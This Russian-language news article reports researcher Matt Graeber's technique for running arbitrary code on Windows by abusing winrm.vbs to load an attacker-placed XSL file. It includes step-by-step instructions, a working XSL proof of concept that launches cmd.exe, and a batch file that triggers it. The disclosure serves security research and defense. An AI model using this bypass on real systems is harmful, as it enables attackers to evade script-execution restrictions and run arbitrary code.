Исследователь описал метод выполнения произвольного кода в Windows

Специалист по кибербезопасности Мэтт Гребер (Matt Graeber) описал технику выполнения произвольного кода скриптом winrm.vbs без попадания под ограничения «enlightened script host».

Выполнение XSL

Если добавить команды -format:pretty или -format:text в скрипт, он вытащит файлы WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это дает возможность злоумышленнику скопировать cscript.exe в место, где расположен вредоносный XSL, и добиться выполнения произвольного кода.

Инструкции

Гребер описал инструкции для испытания метода:

  • поместить произвольный файл WsmPty.xsl или WsmTxt.xsl в контролируемую директорию;
  • скопировать файл cscript.exe или wscript.exe в тот же каталог;
  • выполнить winrm.vbs с -format, указав pretty (если был помещен файл WsmPty.xsl) или text (если был помещен файл WsmTxt.xsl).

Правильное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, который запускает выполнение кoда.

Пример кода

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Пейлоад

Пакетный файл для запуска пейлоада:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\
winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

В мае 2018 года специалист по кибербезопасности Алекс Ионеску обнаружил критическую ошибку в патчах Microsoft против уязвимости Meltdown.

Источник: SpecterOps